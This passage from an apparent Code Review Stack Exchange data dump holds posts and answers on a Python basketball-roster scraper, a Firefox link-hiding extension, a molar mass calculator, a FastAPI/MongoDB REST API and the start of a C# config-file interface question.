imag = (im * b.re - re * b.im) / v;\n\n return new Complex(real, imag);\n }\n\n public String toString() {\n return re + " + " + im + "i";\n }\n\n public static void main(final String[] args) {\n final var z0 = new Complex(1.0, 1.0);\n var z = z0;\n\n z = z.multiply(z).add(z0);\n z = z.multiply(z).add(z0);\n\n System.out.println(z);\n }\n}\n<span class=\"math-container\">```</span>\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T09:55:42.427",
"Id": "249826",
"ParentId": "249770",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": "249775",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T22:27:41.833",
"Id": "249770",
"Score": "11",
"Tags": [
"java",
"beginner",
"fractals"
],
"Title": "Chaos with Newton’s method"
}
|
249770
|
<p>I am very new to Python and I am trying to learn through personnal projects and today I needed to collect a lot of baksetball player names and decided this was a good time to learn and practice.</p>
<p>The script is able to pull out all of the players names, height, nationality and DOB but I need to enter the link to the pages before launching it.
Next step will be either to build a graphic interface where I can copy/past the links or asking in the console wether I want to enter a new team.</p>
<p>I am looking forward to hearing from you since this is maybe my first personnal project :)</p>
<pre><code>import os
import requests
import pandas as pd
import xlsxwriter
from bs4 import BeautifulSoup
def reverse(name):
to_reverse = name
return ' '.join(reversed(name.split(' ')))
def conversion_df(url):
requete = requests.get(url)
page = requete.content
soup = BeautifulSoup(page, features="lxml")
header = [th.getText() for th in soup.findAll("th")] # Why do I have to put th. before getText for it to work | Why do we use th as an updator
header = header[1:5] # Here we exclude the first (O) entry and we display the entries situated before 5
row = soup.findAll("tr")[1:]
stats = [[td.getText().strip() for td in row[i]] for i in range(len(row))]
for j in stats:
del j[0]
del j[4]
#print(stats)
for i in range(len(stats)):
stats[i][0] = reverse(stats[i][0])
table = pd.DataFrame(data = stats, columns = header)
return table
nanterre = conversion_df("https://www.lnb.fr/fr/espa/equipe/espoirs-nanterre-61344.html")
monaco = conversion_df("https://www.lnb.fr/fr/espa/equipe/espoirs-monaco-61343.html")
boulazac = conversion_df("https://www.lnb.fr/fr/espoirs/equipe/espoirs-boulazac-61331.html")
boulogne = conversion_df("https://www.lnb.fr/fr/espoirs/equipe/espoirs-boulogne-levallois-61332.html")
bourg = conversion_df("https://www.lnb.fr/fr/espoirs/equipe/espoirs-bourg-en-bresse-61333.html")
chalon = conversion_df("https://www.lnb.fr/fr/espoirs/equipe/espoirs-chalon-saone-61334.html")
cholet = conversion_df("https://www.lnb.fr/fr/espoirs/equipe/espoirs-cholet-61336.html")
chalon_reims = conversion_df("https://www.lnb.fr/fr/espoirs/equipe/espoirs-chalons-reims-61335.html")
dijon = conversion_df("https://www.lnb.fr/fr/espoirs/equipe/espoirs-dijon-61337.html")
gravelines = conversion_df("https://www.lnb.fr/fr/espoirs/equipe/espoirs-gravelines-dunkerque-61338.html")
le_mans = conversion_df("https://www.lnb.fr/fr/espoirs/equipe/espoirs-le-mans-61339.html")
le_portel = conversion_df("https://www.lnb.fr/fr/espoirs/equipe/espoirs-le-portel-61340.html")
orleans = conversion_df("https://www.lnb.fr/fr/espoirs/equipe/espoirs-orleans-61345.html")
pau = conversion_df("https://www.lnb.fr/fr/espoirs/equipe/espoirs-pau-lacq-orthez-61346.html")
roanne = conversion_df("https://www.lnb.fr/fr/espoirs/equipe/espoirs-roanne-61347.html")
strasbourg = conversion_df("https://www.lnb.fr/fr/espoirs/equipe/espoirs-strasbourg-61348.html")
limoges = conversion_df("https://www.lnb.fr/fr/espoirs/equipe/espoirs-limoges-61341.html")
lyon = conversion_df("https://www.lnb.fr/fr/espoirs/equipe/espoirs-lyon-villeurbanne-61342.html")
clubs = [boulazac,boulogne,bourg,chalon,cholet,chalon_reims,dijon,gravelines,le_mans,le_portel,limoges,lyon,monaco,nanterre,orleans,pau,roanne,strasbourg]
# Creating Excel Writer Object from Pandas
writer = pd.ExcelWriter('liste_espoir.xlsx',engine='xlsxwriter')
workbook=writer.book
worksheet=workbook.add_worksheet('Espoirs')
writer.sheets['Espoirs'] = worksheet
row_count = 0
i = 0
for i in range(len(clubs)):
clubs[i].to_excel(writer,sheet_name='Espoirs',startrow=row_count , startcol=0)
row_count += 20
writer.save()
</code></pre>
|
[] |
[
{
"body": "<p>Welcome to Code Review. Your code looks to be following some good practices from python's style guide (PEP-8). However, as a programmer, you can perhaps improve the structure/performance.</p>\n<ol>\n<li>No need to have separate variables for dataframes for each club. Group all the links together, and use a <code>map</code> for fetch everything.</li>\n<li>The reverse function defines an unused variables <code>to_reverse</code>.</li>\n<li>Split functionality to separate function, just like you have one to reverse names.</li>\n<li>You do not need to iterate over <code>range(len(some_iterable))</code> if the index is not needed at all.</li>\n<li>Add type hinting, and some comments to functions to help understand what kind of values it might expect (and return), as well as, what it is doing.</li>\n<li>Put everything inside an <code>if __name__ == "__main__"</code> clause.</li>\n</ol>\n<hr />\n<p>Rewritten code:</p>\n<pre><code>from typing import Tuple\nimport requests\nimport pandas as pd\nimport xlsxwriter\nfrom bs4 import BeautifulSoup\n\n\ndef reverse(name: str) -> str:\n """Reverse name from 'Last First' to 'First Last'."""\n return " ".join(reversed(name.split(" ")))\n\n\ndef fetch_page(url: str) -> str:\n """Send request to given url, and return the contents on success."""\n response = requests.get(url)\n if response.ok:\n return response.content\n\n\ndef get_club_information(club_page) -> Tuple:\n """Read all `tr` elements on page, and extract player information.\n\n Each row (`tr`) consists of 6 cells. We are skipping over 1st and last cell data."""\n soup = BeautifulSoup(club_page, features="lxml")\n rows = soup.findAll("tr")\n header, *content = [[cell.getText().strip() for cell in row][1:5] for row in rows]\n for row in content:\n row[0] = reverse(row[0])\n return header, content\n\n\ndef conversion_df(url):\n page = fetch_page(url)\n header, content = get_club_information(page)\n print(header, content)\n table = pd.DataFrame(data=content, columns=header)\n return table\n\n\nLINKS = (\n "https://www.lnb.fr/fr/espa/equipe/espoirs-nanterre-61344.html",\n "https://www.lnb.fr/fr/espa/equipe/espoirs-monaco-61343.html",\n "https://www.lnb.fr/fr/espoirs/equipe/espoirs-boulazac-61331.html",\n "https://www.lnb.fr/fr/espoirs/equipe/espoirs-boulogne-levallois-61332.html",\n "https://www.lnb.fr/fr/espoirs/equipe/espoirs-bourg-en-bresse-61333.html",\n "https://www.lnb.fr/fr/espoirs/equipe/espoirs-chalon-saone-61334.html",\n "https://www.lnb.fr/fr/espoirs/equipe/espoirs-cholet-61336.html",\n "https://www.lnb.fr/fr/espoirs/equipe/espoirs-chalons-reims-61335.html",\n "https://www.lnb.fr/fr/espoirs/equipe/espoirs-dijon-61337.html",\n "https://www.lnb.fr/fr/espoirs/equipe/espoirs-gravelines-dunkerque-61338.html",\n "https://www.lnb.fr/fr/espoirs/equipe/espoirs-le-mans-61339.html",\n "https://www.lnb.fr/fr/espoirs/equipe/espoirs-le-portel-61340.html",\n "https://www.lnb.fr/fr/espoirs/equipe/espoirs-orleans-61345.html",\n "https://www.lnb.fr/fr/espoirs/equipe/espoirs-pau-lacq-orthez-61346.html",\n "https://www.lnb.fr/fr/espoirs/equipe/espoirs-roanne-61347.html",\n "https://www.lnb.fr/fr/espoirs/equipe/espoirs-strasbourg-61348.html",\n "https://www.lnb.fr/fr/espoirs/equipe/espoirs-limoges-61341.html",\n "https://www.lnb.fr/fr/espoirs/equipe/espoirs-lyon-villeurbanne-61342.html",\n)\n\n\ndef main():\n # Creating Excel Writer Object from Pandas\n writer = pd.ExcelWriter("liste_espoir.xlsx", engine="xlsxwriter")\n workbook = writer.book\n writer.sheets["Espoirs"] = workbook.add_worksheet("Espoirs")\n row_count = 0\n for club in map(conversion_df, LINKS):\n club.to_excel(writer, sheet_name="Espoirs", startrow=row_count, startcol=0)\n row_count += 20\n writer.save()\n\n\nif __name__ == "__main__":\n main()\n</code></pre>\n<hr />\n<p>Additionally, you can use asyncio to fetch those pages in parallel, to reduce the runtime for your program.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-29T12:15:30.977",
"Id": "490327",
"Score": "0",
"body": "Thank, you gave me a lot to look into !"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T22:00:46.447",
"Id": "249809",
"ParentId": "249774",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T23:42:18.847",
"Id": "249774",
"Score": "5",
"Tags": [
"python",
"python-3.x",
"pandas",
"beautifulsoup"
],
"Title": "Scraper for basketball rosters"
}
|
249774
|
<p>I'm building a Mozilla Firefox extension to hide link's formatting and show them as regular text. It consists of a script that runs on web-pages (<code>content.js</code>) that's activated by clicking on the extension (handled with <code>background.js</code>). On activation, a CSS rule is injected to hide link's formatting. Activating it again will shut changes off.</p>
<p><code>background.js</code> additionally updates the extension's icon (based on links being currently hidden or not) every time the active tab is changed.</p>
<p>I'm new to JavaScript. I'd really appreciate your comments and observations to improve it (best practices, code structure, etc).</p>
<p>Script that runs on web pages (content.js):</p>
<pre><code>'use strict';
// Links formatting state variable
let hideLinks = false;
const hideLinksRule = `
a,
a:hover,
a:focus,
a:active,
a:visited {
text-decoration: none !important;
color: inherit !important;
background-color: inherit !important;
border-bottom: initial !important;
}`;
let styleSheet = (function () {
let style = document.createElement('style');
document.head.appendChild(style);
return style.sheet;
})();
function handleRequest(request) {
// Do not modify if request is only a query
if (request.isQuery) {
return Promise.resolve({
hideLinks
});
}
// Toggle hide/show link formatting
if (hideLinks) {
styleSheet.deleteRule(0);
hideLinks = !hideLinks;
} else {
styleSheet.insertRule(hideLinksRule, 0);
hideLinks = !hideLinks;
}
// Return links state
return Promise.resolve({
hideLinks
});
}
browser.runtime.onMessage.addListener(handleRequest);
</code></pre>
<p>Script to handle the extension on the browser (background.js):</p>
<pre><code>// Icons paths
const showLinksIconPath = {
path: 'icons/link-icon.png'
};
const hideLinksIconPath = {
path: 'icons/broken-link-icon.png'
};
function onError(error) {
browser.browserAction.setIcon(showLinksIconPath);
}
function updateIcon(response) {
if (response.hideLinks) {
browser.browserAction.setIcon(hideLinksIconPath);
} else {
browser.browserAction.setIcon(showLinksIconPath);
}
}
function verifyTabStatus(activeInfo) {
browser.tabs.sendMessage(
activeInfo.tabId, {
isQuery: true
}
).then(updateIcon).catch(onError);
}
function activeTabLinkToggle() {
browser.tabs.query({
currentWindow: true,
active: true
}).then(requestLinkFormatToggle).catch(onError);
}
function requestLinkFormatToggle(tabs) {
if (!(tabs === undefined || tabs.length == 0)) {
const activeTab = tabs[0];
browser.tabs.sendMessage(
activeTab.id, {
isQuery: false
}
).then(updateIcon).catch(onError);
}
}
// Update Icon on tab change
browser.tabs.onActivated.addListener(verifyTabStatus);
// Request toggle link formatting on click
browser.browserAction.onClicked.addListener(activeTabLinkToggle);
</code></pre>
<p>Configuration file to put it together (manifest.json):</p>
<pre><code>{
"manifest_version": 2,
"name": "No-link",
"version": "1.0",
"description": "Hide link formatting.",
"icons": {
"48": "icons/link-icon.png"
},
"permissions": [
"tabs"
],
"browser_action": {
"default_icon": "icons/link-icon.png",
"default_title": "No-link"
},
"background": {
"scripts": ["background.js"]
},
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["content.js"]
}
]
}
</code></pre>
<p>You can also get the source code <a href="https://github.com/fabrizzio-gz/no-link" rel="noreferrer">here</a>.
Thank you very much for your time.</p>
|
[] |
[
{
"body": "<p><strong><a href=\"https://softwareengineering.stackexchange.com/questions/278652/how-much-should-i-be-using-let-vs-const-in-es6\">Always prefer</a> <code>const</code></strong> when declaring variables - only use <code>let</code> when you have to reassign a variable. <code>const</code> requires less cognitive overhead, when you know at a glance that something's never going to be reassigned.</p>\n<p><strong>Style toggling</strong> You're currently toggling the style with <code>styleSheet.insertRule(rule, 0)</code> and <code>styleSheet.deleteRule(0)</code>. I think it would be a <em>little</em> bit better to take a different approach.</p>\n<ul>\n<li>Who knows what <code>insertRule(rule, 0)</code> and <code>deleteRule(0)</code> do at a glance? Probably not a whole lot of people; it's not a very common API that's used.</li>\n<li>What if you need to expand the extension to add <em>additional</em> rules? Then using multiple rule indicies could become repetitive.</li>\n</ul>\n<p>One alternative would be to, on toggle, either append or remove the <code>style</code> tag from the <code><head></code>. Another alternative would be to assign or clear its <code>textContent</code>. See below for example.</p>\n<p><strong>hideLinks</strong> is not an altogether precise name. At first glance, someone seeing a variable named <code>hideLinks</code> would probably think it sounds like a <em>function</em> that, when called, hides links. Maybe call it something else, like <code>linksAreHidden</code>. You can also make its toggling more DRY:</p>\n<pre><code>if (hideLinks) {\n styleSheet.deleteRule(0);\n hideLinks = !hideLinks;\n} else {\n styleSheet.insertRule(hideLinksRule, 0);\n hideLinks = !hideLinks;\n}\n</code></pre>\n<p>can be</p>\n<pre><code>if (hideLinks) {\n styleSheet.deleteRule(0);\n} else {\n styleSheet.insertRule(hideLinksRule, 0);\n}\nhideLinks = !hideLinks;\n</code></pre>\n<p>Or, even better, rather than having a persistent outside variable, you could simply check to see whether the style element is attached or has content. See below for example. This is what I'd prefer - let the style node (which must exist regardless) be the source of truth, rather than introducing another variable that needs to stay in sync.</p>\n<p><strong>Request object</strong> You currently have</p>\n<pre><code>if (request.isQuery) {\n return Promise.resolve({\n hideLinks\n });\n}\n// otherwise, insert or remove style rule\n</code></pre>\n<p>I think it'd be better to be more explicit. What if you add a 3rd request command, or a 4th request command? Instead of having an implicit "<em>Else, if this isn't a query, then do THIS instead</em>", I'd prefer to always send a property indicating what the command should be.</p>\n<p>Perhaps like this, using a <code>isToggle</code> property:</p>\n<pre><code>const hideLinksStyleText = `\na,\na:hover,\na:focus,\na:active,\na:visited {\ntext-decoration: none !important;\ncolor: inherit !important;\nbackground-color: inherit !important;\nborder-bottom: initial !important;\n}`;\nconst styleTag = document.head.appendChild(document.createElement('style'));\n\nfunction handleRequest(request) {\n const linksOriginallyHidden = Boolean(styleTag.textContent);\n // Do not modify if request is only a query\n if (request.isQuery) {\n return Promise.resolve({\n linksAreHidden: linksOriginallyHidden\n });\n }\n if (request.isToggle) {\n styleTag.textContent = linksOriginallyHidden\n ? hideLinksStyleText\n : '';\n return Promise.resolve({\n linksAreHidden: !linksOriginallyHidden\n });\n }\n}\n</code></pre>\n<p><strong>The conditional operator</strong> can be used to make conditional expressions tersely. This:</p>\n<pre><code>const showLinksIconPath = {\n path: 'icons/link-icon.png'\n};\nconst hideLinksIconPath = {\n path: 'icons/broken-link-icon.png'\n};\nfunction updateIcon(response) {\n if (response.hideLinks) {\n browser.browserAction.setIcon(hideLinksIconPath);\n } else {\n browser.browserAction.setIcon(showLinksIconPath);\n }\n}\n</code></pre>\n<p>can turn into</p>\n<pre><code>function updateIcon(response) {\n browser.browserAction.setIcon({\n path: `icons/${response.hideLinks ? 'broken-' : ''}link-icon.png`\n });\n}\n</code></pre>\n<p>Or, if you don't like the interpolation:</p>\n<pre><code>function updateIcon(response) {\n browser.browserAction.setIcon({\n path: response.hideLinks\n ? 'icons/broken-link-icon.png'\n : 'icons/link-icon.png'\n });\n}\n</code></pre>\n<p><strong>Tab checking</strong> You have:</p>\n<pre><code>if (!(tabs === undefined || tabs.length == 0)) {\n const activeTab = tabs[0];\n</code></pre>\n<p>The negations are slightly tougher to parse logically at a glance than they can be. Consider instead:</p>\n<pre><code>if (tabs && tabs.length) {\n</code></pre>\n<p>In a larger project, you could use optional chaining and Babel:</p>\n<pre><code>if (tabs?.length) {\n</code></pre>\n<p>But optional chaining is only supported in very new versions of FF, and Babel isn't worth it <em>just</em> for this. (Babel is a good idea if you want to write a reasonably sized script <em>and</em> want to permit older browser versions to be able to understand the JS syntax you use. For a FF extension, it's less important, because almost all users will be on reasonably up-to-date browsers anyway - no need to transpile down to ES5 for those crummy IE11 users)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T21:47:14.437",
"Id": "489847",
"Score": "0",
"body": "Thank you very much for your recommendations. One question, the `!` operator here `const linksOriginallyHidden = !styleTag.textContent;` is to verify if the string is empty?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T21:50:54.100",
"Id": "489848",
"Score": "0",
"body": "Yep, that inverts the truthyness of the following expression. `!someText` evaluates to `true` if `someText` contains the empty string. Otherwise, it'll evaluate to `false` if `someText` contains any other string."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T22:06:44.897",
"Id": "489849",
"Score": "0",
"body": "Right. Since links are hidden when the `textContent` isn't empty, I believe the condition should be inverted then: `const linksOriginallyHidden = !!styleTag.textContent;`. However, I ran across the formatting not changing anymore when I used a double `!!`. I don't know if I have a bug somewhere else or if it has anything to do with the style tag being an object and casting its properties to a boolean. The funny thing is that when I use a single `!` as in your script, it works but the icons are inverted (it shows a hidden-links icon when they aren't and vice-versa)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T22:11:34.140",
"Id": "489850",
"Score": "0",
"body": "Oops, `linksOriginallyHidden` should be assigned the truthyness of the original `textContent`, not the other way around. Make sure that the object property names match up, eg `linksAreHidden` in both the content script and background script."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T22:24:41.013",
"Id": "489851",
"Score": "0",
"body": "Yes, I found the problem. This assignment needed to be inverted as well: `styleTag.textContent = linksOriginallyHidden ? '', hideLinksStyleText';`. Thanks again for all of your observations! I'm working on implementing them. It's a nice improvement and I learned new things."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T14:49:08.830",
"Id": "249794",
"ParentId": "249780",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249794",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T02:20:39.927",
"Id": "249780",
"Score": "5",
"Tags": [
"javascript",
"firefox",
"firefox-webextensions"
],
"Title": "Hide link formatting Firefox extension"
}
|
249780
|
<p>I created the following program which takes a molecular formula as an input, eg <code>CH3COOH</code> and returns the molar mass of the compound:</p>
<pre><code>#! /usr/bin/env python3
element_weights = {
'H': 1.00794,
'He': 4.002602,
'C': 12.011,
'O': 15.999,
'Ts': 294.0,
'Og': 294.0,
}
def tokenize(string):
position = 0
tokens = []
striter = iter(string)
character = next(striter)
while True:
try:
token = character
if character in "()":
character = next(striter)
elif character.isnumeric():
while (character := next(striter)).isnumeric():
token += character
elif character.isupper():
while (character := next(striter)).islower():
token += character
else:
raise ValueError("Can't parse")
tokens.append(token)
except StopIteration:
tokens.append(token)
tokens.append("EOF")
return tokens
def get_composition(tokens_list):
composition = {}
tokens = iter(tokens_list)
token = next(tokens)
while True:
if(token == "EOF"):
break
num_parens = 0
if token == "(":
num_parens = 1
substr_tokens = []
while num_parens > 0:
token = next(tokens)
if token == "EOF":
raise ValueError(f"Unbalanced Parens, tokens: {tokens_list}")
elif token == "(":
num_parens += 1
elif token == ")":
num_parens -= 1
if (num_parens > 0):
substr_tokens.append(token)
substr_tokens.append("EOF")
substr_composition = get_composition(substr_tokens)
if (token := next(tokens)).isnumeric():
substr_composition = {k: int(token) * v for k,v in substr_composition.items()}
for k,v in substr_composition.items():
if k in composition:
composition[k] += v
else:
composition[k] = v
break
if token == ")":
raise ValueError(f"Unbalanced Parens, tokens: {tokens_list}")
if token not in element_weights:
raise ValueError(f"Can't find element {token}, tokens {tokens_list}")
element = token
if (token := next(tokens)).isnumeric():
element_count = int(token)
token = next(tokens)
else:
element_count = 1
if element in composition:
composition[element] += element_count
else:
composition[element] = element_count
return composition
def convertToAMU(element_count):
return sum(element_weights[k] * v for k,v in element_count.items())
if __name__ == "__main__":
import sys
if(len(sys.argv) > 1):
print(convertToAMU(get_composition(tokenize(sys.argv[1]))))
else:
print(f"Usage: {sys.argv[0]} [chemical_formula]")
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T18:26:56.467",
"Id": "489832",
"Score": "0",
"body": "the most inefficient code looks to be how you're tokenizing the molecule. take a look at, for eg. https://codereview.stackexchange.com/q/232630/12240"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-29T06:18:06.367",
"Id": "490301",
"Score": "0",
"body": "Can you provide sample input that will work? Currently your `CH3COOH` doesn't work because `C` is not included in the weights."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-14T05:19:56.180",
"Id": "492884",
"Score": "0",
"body": "Can you explain your code a little more in the body?"
}
] |
[
{
"body": "<p>For such a simple parsing job, I'd use a regular expression and re.findall()` to split the string into a list of tokens. It's just one line instead of over 20 lines. The tokens are an element (an upper case letter possibly with a lower case letter), a repeat count (1 or more digits), or a bracket. The "{}[]" matches any of the brackets.</p>\n<pre><code> tokens = re.findall(r"[A-Z][a-z]|[0-9]+|[](){}[]", string)\n</code></pre>\n<p><code>collections.Counter()</code> is useful for counting the elements. Lists used as simple stacks help keep track of bracketed sub-compounds.</p>\n<pre><code> composition = Counter()\n match = []\n stack = []\n</code></pre>\n<p>Using a list of tokens may be less optimal for large parsing tasks, but is sufficient for this command line calculator. Plus, it lets you "peek" at the next token to see if its a number, greatly simplifying the handling of the numbers in a formula. (I used an if-expression in the final code)</p>\n<pre><code> if tokens[0].isalpha():\n element = tokens.pop(0)\n\n if tokens[0].isdigit(): # <-- peek at next token to see if\n repeat = int(tokens.pop(0)) # there is a count\n else:\n repeat = 1\n\n compound[element] += repeat\n</code></pre>\n<p>When an opening bracket is encountered, save the current state (the Counter) on a stack and start a new state. Save the matching bracket on a stack too.</p>\n<pre><code> elif tokens[0] in ('(', '[', '{'):\n match.append(MATCH[tokens.pop(0)])\n stack.append(composition)\n composition = Counter()\n</code></pre>\n<p>When a closing bracket is encountered, see if it matches the one on top of the bracket stack. Pop the saved state from the stack and combine it from the one for the bracketed sub-compound.</p>\n<pre><code> elif tokens[0] == match[-1]:\n tokens.pop(0)\n match.pop()\n \n repeat = int(tokens.pop(0)) if tokens and tokens[0].isdigit() else 1\n for element in composition.keys():\n composition[element] *= repeat\n \n composition.update(stack.pop())\n</code></pre>\n<p>Any other token is an error.</p>\n<pre><code> else:\n if token in (')', ']', '}'):\n raise ValueError(f"Error, mismatched bracket: "\n f"expected {match[-1]} got {tokens[0]}.")\n \n else:\n raise ValueError(f"Error, unrecognized token "\n f"in formula: '{tokens[0]}'.")\n</code></pre>\n<p>If there are any brackets left on the stack at the end, then there are mismatched brackets.</p>\n<pre><code> if match:\n brackets = ', '.join(f"'{b}'" for b in match[::-1])\n raise ValueError(f"Error, missing bracket(s): {brackets}.")\n</code></pre>\n<p>The full parser:</p>\n<pre><code>import re\n\nfrom collections import Counter\n\nMATCH = {'(':')', '[':']', '{':'}'}\n\ndef parse(molecule):\n\n tokens = re.findall(r"[A-Z][a-z]?|[0-9]+|[]{}()[]", molecule)\n \n composition = Counter()\n match = []\n stack = []\n \n while tokens:\n # element with optional count\n if tokens[0].isalpha():\n element = tokens.pop(0)\n count = int(tokens.pop(0)) if tokens and tokens[0].isdigit() else 1\n composition[element] += count\n\n # start a sub-compound\n elif tokens[0] in ('(', '[', '{'):\n match.append(MATCH[tokens.pop(0)])\n stack.append(composition)\n composition = Counter()\n \n # matching close bracket ends a sub-compound with an optional count\n elif tokens[0] == match[-1]:\n tokens.pop(0)\n match.pop()\n \n repeat = int(tokens.pop(0)) if tokens and tokens[0].isdigit() else 1\n for element in composition.keys():\n composition[element] *= repeat\n \n composition.update(stack.pop())\n\n # "syntax" error in the formula\n else:\n if token[0] in (')', ']', '}'):\n raise ValueError(f"Error, mismatched bracket: "\n f"expected '{match[-1]}' got '{token[0]}'.")\n \n else:\n raise ValueError(f"Error, unrecognized token in "\n f"formula: '{token[0]}'.")\n\n # left over, unmatched brackets\n if match:\n brackets = ', '.join(f"'{b}'" for b in match[::-1])\n raise ValueError(f"Error, missing bracket(s): {brackets}.")\n \n return dict(composition)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-14T07:36:58.183",
"Id": "250638",
"ParentId": "249782",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T07:25:17.897",
"Id": "249782",
"Score": "9",
"Tags": [
"python",
"parsing"
],
"Title": "Python molar mass calculator"
}
|
249782
|
<p>So I wrote a a RESTfull api for a mongodb with <strong>python3.7</strong>, <strong>fastapi</strong> and <strong>mongoengine</strong> and id love to get feedback on how I should make my code more readable, clean, and dry.</p>
<p>basically there are 4 main routes :</p>
<ol>
<li>Route to get all objects from a collection.</li>
<li>Route to get one object from a collection by a specific identifier (doc_id).</li>
<li>Route to post a new object to a collection.</li>
<li>Route to update an object from the db by a specific identifier (doc_id).</li>
</ol>
<pre><code>#db_api.py
from fastapi.middleware.cors import CORSMiddleware
from fastapi import FastAPI
from typing import Dict
from mongoengine import connect,disconnect
from mongoengine import errors
from schemas import *
import os
MONGODB_ADDR = os.environ.get("MONGODB_ADDR", "chaos.mongodb.openshift")
MONGODB_PORT = os.environ.get("MONGODB_PORT", 8080)
DB_NAME = os.environ.get("DB_NAME", "chaos")
LISTEN_PORT = int(os.environ.get("LISTEN_PORT", 5001))
app = FastAPI()
@app.on_event("startup")
async def create_db_client():
try:
## Add authentication
connect(db=DB_NAME, host=MONGODB_ADDR, port=MONGODB_PORT)
except errors.ServerSelectionTimeoutError:
print("error connecting to mongodb")
@app.on_event("shutdown")
async def shutdown_db_client():
pass
@app.get("/{collection}")
def read_object(collection: Collections):
# Get all documents from collection
collection_object = get_collection_object(collection)
output = [document.to_dict() for document in collection_object.objects]
return output
@app.get("/{collection}/{doc_id}")
def read_one_object(collection: Collections,doc_id: str):
try:
# Get specific document from collection depending on route
# try to get first document, considering there could not be more then 1
collection_object = get_collection_object(collection)
doc_identifier_to_doc_id = {collection_object.get_identifier() : doc_id}
# Get all objects that have the doc_id and
# return the first one as a dict
output = collection_object.objects(**doc_identifier_to_doc_id)[0].to_dict()
except (IndentationError, IndexError):
output = f"No such document '{doc_id}' in '{collection}' collection"
return output
@app.post("/{collection}/{doc_id}")
def write_object(collection: Collections, document: Dict = {}):
try:
collection = get_collection_object(collection)
document = collection(**document)
document.save()
return document.to_dict()
except TypeError as E:
print(E)
return 'missing parameters'
except (errors.FieldDoesNotExist , errors.ValidationError):
return 'unknown parameter '
@app.put("/{collection}/{doc_id}")
def update_object(collection: Collections, doc_id : str, document: Dict = {}):
try:
collection_object = get_collection_object(collection)
doc_identifier_to_doc_id = {collection_object.get_identifier() : doc_id}
document_object = collection_object.objects(**doc_identifier_to_doc_id)[0]
document_object.update(**document)
document_object.save()
document_object = collection_object.objects(**doc_identifier_to_doc_id)[0]
return document_object.to_dict()
except TypeError:
return 'missing parameters'
except (errors.FieldDoesNotExist , errors.ValidationError):
return 'unknown parameter '
def get_collection_object(collection):
if collection == Collections.servers:
document = Server
elif collection == Collections.groups:
document = Group
elif collection == Collections.logs:
document = Log
return document
</code></pre>
<p>Ive created schemas for the collections I have in my db (ive already dicided to create a parent abstract class for all my documents that specifies the to_dict function and other stuff all of them need).</p>
<pre><code>#schemas.py
from mongoengine import *
from enum import Enum
class Collections(str, Enum):
servers = "servers"
groups = "groups"
logs = "logs"
class Log(Document):
meta = {'collection': 'logs'}
name = StringField()
logs = DictField()
successful = BooleanField(default=False)
date = StringField()
victim = StringField()
owner = StringField(required=True)
@staticmethod
def get_identifier():
return 'name'
def to_dict(self):
return {
"name": self.name,
"logs": self.logs,
"successful": self.successful,
"date" : self.date,
"victim" : self.victim,
"owner": self.owner
}
class Server(Document):
meta = {'collection': 'servers'}
dns = StringField(max_length=200, required=True)
active = BooleanField(default=False)
groups = ListField(StringField(),default=[])
os_type = StringField(required=True)
last_fault = StringField()
@staticmethod
def get_identifier():
return 'dns'
def to_dict(self):
return {
"dns": self.dns,
"active": self.active,
"groups": self.groups,
"os_type": self.os_type,
"last_fault": self.last_fault
}
class Group(Document):
meta = {'collection': 'groups'}
name = StringField(max_length=200, required=True)
active = BooleanField(default=False)
last_fault = StringField()
owner = StringField(required=True)
@staticmethod
def get_identifier():
return 'name'
def to_dict(self):
return {
"name": self.name,
"active": self.active,
"last_fault": self.last_fault,
"owner" : self.owner
}
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T10:13:35.087",
"Id": "249784",
"Score": "2",
"Tags": [
"python",
"api",
"rest",
"mongodb"
],
"Title": "mongodb RESTfull api in python using fastapi and mongoengine"
}
|
249784
|
<p>I want to program file lines transformation in a game initialization context and I am asking about best OOP practice.</p>
<p>I have a <code>MockConfigFile</code> that implements a <code>ConfigFile</code> interface :</p>
<pre><code>public class MockConfigFile : ConfigFile
{
private readonly IEnumerable<string> _content;
public static MockConfigFile CreateInstance(IEnumerable<string> content)
{
return new MockConfigFile(content);
}
private MockConfigFile(IEnumerable<string> content)
{
_content = content;
}
public ConfigFileLines Read()
{
return new ConfigFileLines(ReadAllLine());
}
private IEnumerable<string> ReadAllLine()
{
return _content;
}
}
public interface ConfigFile
{
ConfigFileLines Read();
}
</code></pre>
<p>The goal of <code>ConfigFile</code> object is to encapsulate file reading logic by encapsulating the string path of the file configuration.</p>
<p>Here is the real implementation in a no-testing context :</p>
<pre><code>public class ConfigFileImpl : ConfigFile
{
private readonly string _path;
public static ConfigFile CreateInstance(string path)
{
return new ConfigFileImpl(path);
}
